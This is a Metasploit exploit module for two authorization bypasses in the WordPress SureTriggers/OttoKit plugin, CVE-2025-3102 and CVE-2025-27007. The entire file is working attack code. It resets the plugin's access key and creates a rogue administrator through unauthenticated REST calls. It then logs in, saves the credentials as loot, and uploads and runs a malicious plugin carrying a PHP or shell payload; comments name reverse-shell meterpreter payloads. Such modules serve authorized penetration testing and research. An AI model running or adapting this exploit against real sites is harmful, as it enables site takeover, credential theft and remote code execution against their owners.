## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Auxiliary::Report include Msf::Module::HasActions include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007)', 'Description' => %q{ Exploits two distinct authorization bypasses in SureTriggers/OttoKit plugin: - CVE-2025-3102: admin creation via St-Authorization Bearer (empty) - CVE-2025-27007: reset access key via connection endpoint & admin creation with Bearer header }, 'Author' => [ 'Michael Mazzolini (mikemyers)', # Vulnerability discovery (CVE-2025-3102) 'Denver Jackson', # Vulnerability discovery (CVE-2025-27007) 'Khaled Alenazi (Nxploited)', # PoC (CVE-2025-3102) 'Valentin Lobstein', # Metasploit module ], 'References' => [ ['CVE', '2025-3102'], ['CVE', '2025-27007'], ['URL', 'https://github.com/Nxploited/CVE-2025-3102'], ['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/'], ['URL', 'https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched?_s_id=cve'], ['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-27007'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix In-Memory', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows In-Memory', { 'Platform' => 'win', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-03-13', 'Actions' => [ ['CVE-2025-3102', { 'Description' => 'SureTriggers <= 1.0.78 auth bypass & RCE' }], ['CVE-2025-27007', { 'Description' => 'SureTriggers <= 1.0.82 auth bypass, reset & RCE' }] ], 'DefaultAction' => 'CVE-2025-27007', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('WP_USER', [ true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8) ]), OptString.new('WP_PASS', [ true, 'Password for the new administrator', Faker::Internet.password(min_length: 12) ]), OptString.new('WP_EMAIL', [ true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8)) ]), OptString.new('ST_AUTH', [ false, 'Value for st_authorization header', Rex::Text.rand_text_alphanumeric(16)]) ] ) end def check return CheckCode::Unknown('Target not responding') unless wordpress_and_online? wp_version = wordpress_version print_status("Detected WordPress version: #{wp_version}") if wp_version plugin = 'suretriggers' max_versions = { 'cve-2025-3102' => '1.0.78', 'cve-2025-27007' => '1.0.82' } max_vuln = max_versions[action.name.downcase] detected = check_plugin_version_from_readme(plugin)&.details&.dig(:version) return CheckCode::Unknown("Unable to determine #{plugin} version") unless detected @plugin_version = detected ver = Rex::Version.new(detected) if ver <= Rex::Version.new(max_vuln) CheckCode::Appears("Detected #{plugin} #{ver} vulnerable to #{action.name}") else CheckCode::Safe("Detected #{plugin} #{ver} appears patched") end end def exploit token = '' if action.name.downcase == 'cve-2025-27007' reset_access_key token = datastore['ST_AUTH'] end headers = { 'St-Authorization' => "Bearer #{token}" } res = create_admin_request(headers) unless res&.code == 200 && res.get_json_document&.dig('success') fail_with(Failure::UnexpectedReply, "#{action.name}: user creation failed") end finalize_admin cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS']) upload_and_execute_payload(cookie) end # Sends a JSON POST to wp-json/, then retries via rest_route without wp-json def send_json_with_fallback(segments, payload, headers) # Primary path uri = normalize_uri(target_uri.path, 'wp-json', *segments) res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'ctype' => 'application/json', 'data' => payload, 'headers' => headers ) # Fallback unless res&.code == 200 && res.get_json_document&.dig('success') vprint_warning('Primary endpoint failed, trying fallback via rest_route...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'rest_route' => "/#{segments.join('/')}" }, 'ctype' => 'application/json', 'data' => payload, 'headers' => headers ) end res end def create_admin_request(headers) send_json_with_fallback( ['sure-triggers', 'v1', 'automation', 'action'], user_payload.to_json, headers ) end def user_agent_header return 'SureTriggers' unless @plugin_version @plugin_version < Rex::Version.new('1.0.81') ? 'SureTriggers' : 'OttoKit' end def reset_access_key print_status('Resetting access key') body = { 'sure-triggers-access-key' => datastore['ST_AUTH'], 'wp-password' => datastore['WP_PASS'], 'connection_status' => 'ok', 'wp-username' => datastore['WP_USER'], 'connected_email' => datastore['WP_EMAIL'] }.to_json res = send_json_with_fallback( ['sure-triggers', 'v1', 'connection', 'create-wp-connection'], body, { 'User-Agent' => user_agent_header } ) fail_with(Failure::UnexpectedReply, 'Key reset failed') unless res&.code == 200 && res.get_json_document&.dig('success') print_good('Access key reset successful') end def user_payload { 'integration' => 'WordPress', 'type_event' => 'create_user_if_not_exists', 'selected_options' => { 'user_name' => datastore['WP_USER'], 'password' => datastore['WP_PASS'], 'user_email' => datastore['WP_EMAIL'], 'role' => 'administrator' }, 'fields' => [], 'context' => {} } end def finalize_admin print_good("Admin created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}") create_credential( workspace_id: myworkspace_id, origin_type: :service, module_fullname: fullname, username: datastore['WP_USER'], private_type: :password, private_data: datastore['WP_PASS'], service_name: 'WordPress', address: datastore['RHOST'], port: datastore['RPORT'], protocol: 'tcp', status: Metasploit::Model::Login::Status::UNTRIED ) vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.") report_host(host: datastore['RHOST']) service = report_service( host: datastore['RHOST'], port: datastore['RPORT'], proto: 'tcp', name: fullname, info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation' ) loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n" loot_path = store_loot( 'wordpress.admin.created', 'text/plain', datastore['RHOST'], loot_data, 'wp_admin_credentials.txt', 'WordPress Created Admin Credentials', service ) vprint_good("Loot saved to: #{loot_path}") report_vuln( host: datastore['RHOST'], port: datastore['RPORT'], proto: 'tcp', service: service, name: "SureTriggers Auth Bypass (#{action.name})", refs: references, info: 'Unauthenticated admin creation via SureTriggers plugin' ) end def upload_and_execute_payload(auth_cookie) plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php" zip = generate_plugin(plugin, payload_name.sub('.php', '')) print_status('Uploading malicious plugin for code execution...') ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie) fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name) print_status("Executing payload at #{payload_uri}...") register_files_for_cleanup(payload_name, "#{plugin}.php") register_dir_for_cleanup("../#{plugin}") send_request_cgi('uri' => payload_uri, 'method' => 'GET') end end